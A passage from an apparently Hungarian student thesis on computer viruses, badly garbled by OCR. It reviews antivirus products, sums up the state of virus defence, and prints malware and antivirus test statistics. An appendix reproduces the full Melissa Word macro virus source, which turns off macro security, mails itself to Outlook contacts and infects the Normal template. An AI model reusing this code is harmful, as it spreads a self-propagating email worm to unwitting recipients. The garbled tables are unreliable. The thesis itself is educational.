termékcsalad. Kiemelkedd terméktdmogatds, online support és virusbejelentési lehetdség
jellemzi. Online frissithetd mind a virusadatbazis, mind a program. Széles palettdju
viruskeresési modszerekkel, valamint idézitési lehetdséggel rendelkezik. Real time file
protection, e-mail scanner, webhely-analizdlds és szdmos egyéb funkcié all a felhaszndl6
rendelkezésére. A kezelofeliilete a sok hozzaadott funkcié miatt kiss€ attekinthetetlen,
valamint nem szakavatott embernek a valasztdsi lehetdségek tilsagosan sokrétiiek. Ingyenes
demo verzi6 elérhetd, limitalt idejii hasznélattal és csak viruskeresési funkcidval. Tobb dijat
és kitiintetést elért program.

7.2. Kaspersky Antivirus

A Kaspersky Lab 4ltal készitett program, amely cég szadmitégépes biztonsigi
megolddsokat kindl. A céget Natalia Kasperskaya és Eugene Kaspersky alapitottdk 1997-ben.
Azéta szamos dijat és kitiintetést szerzett magdnak a software, tobbszor is az év legjobb
viruskeresé programja lett. A cég kindlatdban megtaldlhatéak az otthoni felhaszndléknak,
illetve a céges haszndlatra specidlisan kifejlesztett programok. (Cégeknél: fajl- és levelezo-
szerverekre is kiterjedd védelemmel, gateway beépitéssel)

A programbdl a Lite verzié mindenki szdmadra ingyen elérhetd, melybdl hidnyoznak a
otapasztalt felhaszndléi bedllitdsok”, valamint a tlzfal. A program rendkiviil egyszerd,
lényege a viruskeresés és -irtds. Tovabbi eldnye, hogy online viruskeresést és -irtast is
lehetOvé tesz a készitd honlapjardl futd alkalmazas segitségével.

Interneten keresztiil frissithetd virusdefiniciés allomanyokkal rendelkezik, és van
rezidens modd monitor része is, mely minden pillanatban védi gépiinket. Folyamatos online
support, illetve virusbejelentési lehetdség all a felhasznalok részére.

7.3. Virusbuster for Windows
A VirusBuster Kft. 1997-ben alakult azzal a céllal, hogy megbizhaté virusvédelmi
megolddsokat fejlesszen a magyar piac szdmadra. Folyamatosan fejlesztik a céget és a

terméket, hogy megélljak a helyiiket a nemzetk6zi piacokon is. Viszonylag egyszerii kezelés,
hatékony védelem jellemzi. Kovetik a nemzetkozi ,trendeket”, igy itt is kaphatdak egyszert,
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csak virusirtét tartalmazo szoftverek, illetve a tobb programot is tartalmazé csomagok (ttizfal,
levélszerver-védelem).

A kiilonbozd, fiiggetlen antivirus-teszteld cégek vizsgdlatain jol szerepel. A program
maga egyszertien hasznalhatd, kezelofeliilete konnyedén atldthatd. Internetes virusdefinicio-
frissitésre van lehetdség. A mar ismert rezidens modul megtaldlhaté benne, s6t miikodésérol
pontos informécidt kérhetiink a program futdsa soran barmikor.

74. AVG

1991-ben alapitottdk a Grisoft nevii céget, amely az AVG virusirtét fejlesztette. A
Grisoft 2008. februdr 6-4n megvaltoztatta nevét, az ij név: AVG Technologies.

Nagyon egyszeriien kezelhetd, az egyik legjobb mutatékkal rendelkezd program.
Folyamatos djitasok és nem csak a trend kovetése a cég mottéja. Uj termékiik a helyreallité
CD, amelyrdl virus mentesithetd a fertézott gép. Tovabba eldnyos az offline frissitési
lehetdség, amely lehetové teszi internetes hozzaférés nélkiil is a naprakész frissitéseket.
Kiemelkedd ajanlata a teljesen ingyenesen letolthetd €s hasznalhat6 virusirté (AVG Free).

7.5. Nod32

Az ESET altal fejlesztett NOD32 antivirus sokban hasonlit a konkurencidihoz. Nekik
is vannak otthoni és céges felhaszndloknak kindlt csomagjaik. Online és offline frissitési
lehetdségei, tlizfallal egybekotott virusirto.

A NOD32 antivirus rendszer kiemelkedd teljesitményét szdmos hazai €s nemzetkozi
dij ismeri el. A virusok megbizhaté felismerésének koszonhetben a NOD32 tartja a
nemzetkozi Virus Bulletin VB100% rekordjat (53szor nyerte el ezt a dijat), a NOD32 nyerte
el el0szor a Checkmark Anti-Spyware mindsitéseit.

Legujabb termékeivel a felhaszndlok kényelmét prébaljak eldsegiteni gy mint, CD-
rdl torténd virus ellendrzés, jatékod ilizemmodd (ilyenkor az informécidk nem jonnek eld
buborék értesités formdjaban).

7.6. Panda

A Panda Security Eurdpa elsd szdmu virusirtd szoftver gyartdja. Termékpalettdja az
otthoni védelemtdl a nagyvallalati hardver alapd célrendszerekig minden tipusu igényt lefed.
Szédmtalan dijat és elismerést kapott mind véllalati szinten, mind az Antivirus megoldasai
révén. Egyediildll6 TruPrevent technolégidjanak és legujabb TotalScan funkciéjanak
koszonhetden a Panda Security termékek szolgéltatdsaikban messze feliilmuljak a konkurens
virusirtokat. Hatékonysagukat és gyorsasagukat pedig objektiv 6sszehasonlité tesztek tucatjai
igazoljdk. A két tulajdonsagnak koszonhetden a gép védelmét foképp a malware-k ellen a
Panda biztositja a legjobban. A Panda Security kiadta dj, 2009-es virusirtd szoftvereit,
amelyekben a legfObb tjdonsag a ,kollektiv intelligencidnak” nevezett k6zosségi virusirtd
modell, melynek Iényege, hogy a Panda-termékeket haszndlé PC-k egy biztonsagi hal6zatot
alkotnak, és egymdsnak segitenek a virusok felismerésében és kivédésében.

A kollektiv intelligencia segitségével a kozponti szerverhez kapcsolédva a Panda
szoftvert haszndlé PC-tulajdonosok gépe egyetlen hatalmas hédlézatot képez, amely igazi
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virusirté-kozosségként mikodik. Igy ha valamelyik gép fertézést fedez fel, a technolégidnak
koszonhetben a teljes kozosség azonnali védelemben részesiil.

A virusirtdé program tovabbi djitdsa az Un. ,identity protect”, vagyis a
személyazonossag-védelem technoldgia is, amely a bizalmas adatok megszerzésére iranyul6
lopasi kisérleteket fiileli le, ahol a felhaszndlé6 maga 4llithatja be, hogy melyek a kiemelt
védelmet igényld adatai. Tovébbfejlesztették a spamszlirést is, az Gj motor 97 szdzalékos
pontossdggal kapja el a kéretlen leveleket.

Folyamatosan boviild virusadatbazisa kozel 11 000 000 mintét tart szdmon virusokrol,
malware-ekrol és ezek mutécidirdl, és ez naponta tobb ezerrel novekszik.

8. Osszegzés

A dolgozatban bemutatottak alapjan kijelenthetd, hogy manapsidg mar nem elég
egyetlen, naprakész virusirté program ahhoz, hogy a gépiink biztonsigban lehessen. Ehhez
mindenképp sziikséges a felhaszndld, akinek informatikai ismeretei megsokszorozhatjak a
védelem erejét. A felsoroltakbol kideriilhetett az is, hogy a jelenlegi virusirté programok
kozott alig-alig van valami kiilonbség, hasznédlatukat csak megszokdsok, illetve értékelések,
ajanlasok hatarozzdk meg. Remélhetdleg a dolgozatban sikeriilt ravildgitani a virusvédelem
fontossagdara, valamint a virus programkdédoknak a természetére, viselkedésére €s irtdsanak
mddszereire. Az operdciés rendszerek bemutatdsdndl kideriilt, hogy habidr a Microsoft
operdcios rendszerek tiinnek a sebezhetObbeknek, ez csak azzal a plusz informéciéval
helytélld, mely szerint a Windows kiilonb6zd generdcidinak hasznaldi joval tobben vannak,
mint a tobbieké. Igy nyilvan a virusirék is a nagyobb mennyiségli felhaszndlé elérését
lehetdvé tevd operacids rendszer ellen készitik virusaikat.

Sajndlatosan a virusirtok szakemberei hidba faradoznak és tesznek meg minden t6liikk
telhet6t, joval tobb virus keletkezik naponta, mint amennyit analizdlni tudndnak, illetve a
virusirtéjukkal irtani. Ennek ellenére a folyamatos frissitések alkalmazdsa elengedhetetlen a
felhasznaloknak, hogy a rendszereiket a lehet6 legnagyobb biztonsdgban tudhassék.

Osszegezve az eddigi oldalakon bemutatottakat, kijelenthetd, hogy a virusok egyre
tobbféle tipusba sorolhatdak, és egyre tobben keriilnek kozeli kapcsolatba veliikk, mind
szenvedd alanyként, mind pedig szerz6ként. Mindezek ellenére egy kis odafigyeléssel és némi
tanuldssal Osszedllithaté egy atlagosan j6 védelem, amivel a gépiinkdn minimalizdlhatjuk a
virusfertdzés esélyét. Valamint ha mégis bekovetkezne, akkor tudjuk, miként lehet ebbdl az
allapotbdl hathatdsan és gyorsan visszatérni a ,,tiszta” rendszerhez.
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10. Faggelék

10.1. A Melissa virus kodja

// Melissa Virus Source Code

Private Sub Document_Open ()
On Error Resume Next
If System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security",
"Level") <> nn
Then
CommandBars ("Macro") .Controls("Security...") .Enabled = False
System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security",
"Level") = 1&
Else
CommandBars ("Tools") .Controls ("Macro") .Enabled = False
Options.ConfirmConversions = (1 - 1)
Options.VirusProtection = (1 - 1)
Options.SaveNormalPrompt = (1 - 1)

End If

Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice

Set UngaDasOutlook = CreateObject ("Outlook.Application")

Set DasMapiName = UngaDasOutlook.GetNameSpace ("MAPI")

If System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\",
"Melissa?") <> "... by Kwyjibo"

Then

If UngaDasOutlook = "Outlook" Then
DasMapiName.Logon "profile", "password"
For y = 1 To DasMapiName.AddressLists.Count
Set AddyBook = DasMapiName.AddressLists(y)
x =1
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(O0)
For oo = 1 To AddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries (x)
BreakUmOffASlice.Recipients.Add Peep

X =x + 1

If x > 50 Then oo = AddyBook.AddressEntries.Count
Next oo
BreakUmOffASlice.Subject = "Important Message From " &

Application.UserName
BreakUmOffASlice.Body =
"Here i1s that document you asked for ... don't show anyone else ;-)"
BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
BreakUmOffASlice.Send

Peep —nn
Next y
DasMapiName.Logoff
End If
System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\",
"Melissa?") = "... by Kwyjibo"
End If
Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1l)

Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
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NTCL = NTI1l.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.Name <> "Melissa" Then
If ADCL > O Then _
ADI1.CodeModule.DeletelLines 1, ADCL

Set ToInfect ADI1
ADI1.Name = "Melissa"
DoAD = True

End If

If NTI1.Name <> "Melissa" Then
If NTCL > 0 Then _
NTI1l.CodeModule.DeletelLines 1, NTCL
Set ToInfect = NTI1

NTI1.Name = "Melissa"
DoNT = True
End If

If DoNT <> True And DoAD <> True Then GoTo CYA
If DoNT = True Then
Do While ADI1l.CodeModule.Lines(1l, 1) = ""
ADI1.CodeModule.DeletelLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()")
Do While ADI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN,ADI1.CodeModule.Lines (BGN, 1)
BGN BGN + 1
Loop
End If
If DoAD = True Then
Do While NTIl.CodeModule.Lines(1l, 1) = ""
NTI1l.CodeModule.DeletelLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()")
Do While NTI1l.CodeModule.Lines(BGN, 1) <> ""

ToInfect.CodeModule.InsertLines BGN,NTI1l.CodeModule.Lines (BGN, 1)
BGN = BGN + 1

Loop
End If
CYA:
If NTCL <> 0 And ADCL = 0 And
(InStr (1, ActiveDocument.Name, "Document") False)
Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf (InStr(l, ActiveDocument.Name, "Document") <> False) Then
ActiveDocument.Saved = True
End If

'"WORD/Melissa written by Kwyjibo

'Works in both Word 2000 and Word 97

'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!

'Word -> Email | Word 97 <-—-> Word 2000 ... it's a new age!

If Day(Now) = Minute(Now) Then Selection.TypeText
"Twenty-two points, plus triple-word-score, plus fifty points for using all
my letters. Game's over. I'm outta here."
End Sub
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10.2. Statisztikak

1. tdbldzat: Az ESET legutébbi, 2009-es nyilvanossagra hozott kartevdinek toplistéja.

2009. marciusi virus TOP 10

O 1. Win32/TrojanDow nloader.Sw izzor.NBF
trojai
B 2. Win32/Conficker féreg

0O 3. WMA/TrojanDow nloader.GetCodec tréjai

0O 4. INF/Autorun virus

| 5. Win32/Adw are.Virtumonde alkalmazas

O 6. Win32/Agent tréjai

B 7. Win32/PSW.OnLineGames.NMY tréjai

O 8. Win32/Toolbar.My WebSearch
alkalmazas

B 9. Win32/VB.EL féreg

@ 10. Win32/Adw are.GooochiBiz alkalmazas

2. tdabldzat: A Panda Security laboratériumdba 2008-ban beérkezd napi 22 ezer uj fertozést
elemezve rekord mennyiségli adatot kapunk. Kideriilt ugyanis, hogy a tavalyi évben tobb

malware sziiletett, mint az elmult 17 évben Osszesen. A fertozés 70%-at a trdjai programok,
20%-at az adware (kéretlen reklamokat indité programok), mig a férgek 4,22%-at tették ki.

2008-as virusok tipusok szerint

90

80

70 —

60 A —e— adware
50 —m- spyware
40 tréjai

30 » féreg
20 ?‘A‘v&‘ﬁv

" 77.__-.———I/K ——a— ——w _.\:’
0 B 1 1 1 1 1 1 — 1 1 : 1 Z 1

januar aprilis julius oktdber
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3. tabldzat: A téves riasztds, vagy hamis pozitiv elég sok problémdt okozhat. Eppen ezért a
virusirtok mindségének helyes megitéléséhez elengedhetetlennek tartottam ennek a
tdblazatnak a figyelembevételét.

Téves riasztasok darabszama |[gmicrosoft onecare
W McAfee
140 O ESET
OF-Secure
120 117 H Symantec
EHeScan
100 - B AVIRA
80 ONorman
EAVG
60 1 H BitDefender
OKaspersky
40 O Trustport
o0 - 11 12 14 17 19 21 m VBA32
1 1 B Avast
0 Il GDATA
Téves riasztas m Sophos5

4. tabldzat: A kiilonboz0 virusirtd programok éltal okozott teljesitménycsokkenés mértéke
fajlmasolas folyaman.

Fajlmasolas sebességére gyakorolt hatas %-ban

@ Alapértelmezett bedllitdsok W Legerésebb beallitasok
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5. tdbldzat: A kiilonbozo virusirtd programok éltal okozott teljesitménycsokkenés mértéke
MS Office 2003 dokumentumoknak az ingyenes 7-Zip programmal torténd be- és
kitomoritése sordn.

Fajlitomorités sebességeére gyakorolt hatas %-ban

600 500]]

O Alapértelmezett bedllitisok W Legerésebb bedllitasok

6. tabldzat: A kiilonb6z0 virusirté programok altal okozott teljesitménycsokkenés mértéke
vided- és hangfijloknak az FFmpeg programmal torténd be- és dtkddoldsa soran.

Kdédolas sebességére gyakorolt hatas %-ban

O Alapértelmezett bedllitdsok B Legerdsebb beallitasok
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7. tabldzat: Az elébbi tesztekkel ellentétben a bootolasi idé mérésénél olyasvalamit
(inditds/ledllitas) teszteliink, amit dltaldban naponta csak egyszer hajtunk végre.

Bootolas sebességére gyakorolt hatas %-ban
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OAlapérieimezett beallitdsok W Legerésebb beallitdsok

8. tabldzat: Az ,,altaldnos sebesség” mérésénél nem stlyozzuk a résztesztek eredményeit,
egyszertien azok atlagat vessziik. A felhasznéldk sziikség szerint silyozhatjak az egyes
részteszteket. A f4jlmdsolasi teszt altaldban sokkal fontosabb, mint a bootol4si 1d6, a
tomorités vagy a kodolés tesztje (féleg azon felhasznédldk esetében, akik ritkdn tomoritenek,
€s egydltalan nem kédolnak vided- és hangféjlokat).

A sebességre gyakorolt altalanos hatas %-ban

OAlapérieimezett beallitdsok W Legerésebb beallitdsok
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9. tabldzat. Generikus és/vagy heurisztikus technikdk tesztelése a lehetséges ismeretlen
virusok felismerésére.

(AVIRA G DATA Security [Alwil Software [AVG Technologies EiDetender MicroWorld [ESET F-Secure
Antivir Premium AntiVirusKit (AVK) avast! Professional |AVG Anti-Virus BitDefender AV [eScan Anti-Virus  |ESET NOD 32 Antivirus |F-Secure Anti-Virus

Programm verzié 8.1.0.362 19.0.0.49 4.8.1229 8.0.156 11.0.17 9.0.824.217 3.0.669.0 9.00.148

Motor / Adatbazis verzi6  8.01.01.15/7.00.05.212 |nincs adat 080804-0 270.5.12/1590 nincs adat nincs adat 3325 8.10.14240
Virusadatbazis nagysaga [1.533.821 nincs adat nincs adat nincs adat 1.414.639 nincs adat nincs adat nincs adat

Elért mingsités [ADVANCED [ADVANCED ISTANDARD ISTANDARD ISTAN DARD ADVANCED+

Téves riasztasok szama  [sok [sok Jsok [sok Jsok Jkevés [kevés Jkevés

Ismeretlen virusok észlelése

Windows virusok 540 494] 91% 332] 61%| 298| 55% 308 56%| 324 60%]| 276 51%] 306 57%] 365 68%]
Script malware 187] 45 24% 91 49%] 79 42%| 24] 13%) 36| 19%) 50] 27%] 20] 11%) 52] 28%
Férgek 1390] 1020} 73% 935 67%) 503| 36%| 735 53%] 801 58% 166 12%) 840 60%| 167 12%)
Backdoors 10120 8114 80% 7853 78% 6052 60% 5524 55%| 5908, 58%| 791 8% 5838 58%| 1187] 12%)
Trojai 33165 20815 63% 17483 53%| 11016 33% 11507| 35%] 14046 42% 2285 7%l 15979 48%| 2546 8%)
legyéb malware 429 302] 70% 220 51%| 140 33% 169) 39%] 172 40% 32] 7% 217 51%] 36 8%)|

Osszesen| 45831 30790 67% 26914 59%| 18088 39% 18262 40%] 21287 46% 3600 8% 23200 51%] 4353 9%)

Cég Kaspersky Labs McAfee Microsoft Norman ASA rSyman(ec rSophos Trustport VirusBlokAda

Termék Kaspersky AV McAfee VirusScan+ [Microsoft OneCare  |[Norman AV+AS Norton Anti-Virus  |Sophos E S&C TrustPort Antivirus VBA32 Anti-Virus
Programm verzié 8.0.0.454 12.1.110 2.5.2900.03 7.10 16.0.0.125 7.51 2.8.0.3006 3.12.8.2

Motor / Adatbazis verzié  Inincs adat 5300.2777 / 5352 1.3807/1.41.18.0 5.93.01 100804c / 84315 2.75.4/ 4.31E+305 [nincs adat nincs adat
Virusadatbazis nagysaga [1.045.550 437.316 753.216 1.979.741 2.043.091 447.478 nincs adat nincs adat
[Eer mingsités [ADVANCED [ADVANCED [ADVANCED ISTANDARD [ADVANCED ISTANDAHD ISTANDAHD

Téves riasztasok szama  [sok [nagyon keves Jnagyon kevés [sok Jkeves Jnagyon sok [sok Jsok

Ismeretlen virusok észlelése

Windows virusok 540 498 92% 484 90%| 451 84% 46| 9% 309 57%] 324 60%] 312 58%| 195] 36%]|
Script malware 187] 53| 28% 37| 20%| 82] 44%)| 18] 7% 50 27%] 35] 19%) 30] 16%) 18 10%)
Férgek 1390] 826 59% 315 23%| 592] 43%)| 406 29%| 734 53%] 783 56%| 827 59%| 282 20%
Backdoors 10120 6677, 66%| 4206 42%) 5151 51% 3412 34% 5064 50%| 6863| 68% 6495 64%| 3649 36%]|
Trojai 33165 19251 58% 8262 25% 13777] 42%| 7632 23% 13876 42%| 14847 45%| 14460 44%| 7871 24%|
legyéb malware 429 178 1% 182 42%] 244] 57% 103] 24%]) 200 47%) 178] 41%| 179 42%] 54] 13%)

Osszesen| 45831] 27483 60% 13486 29% 20297] 4a%]  11612]  25%] 20233  44%] 23030 50%] 22303 49%) 12069 26%)
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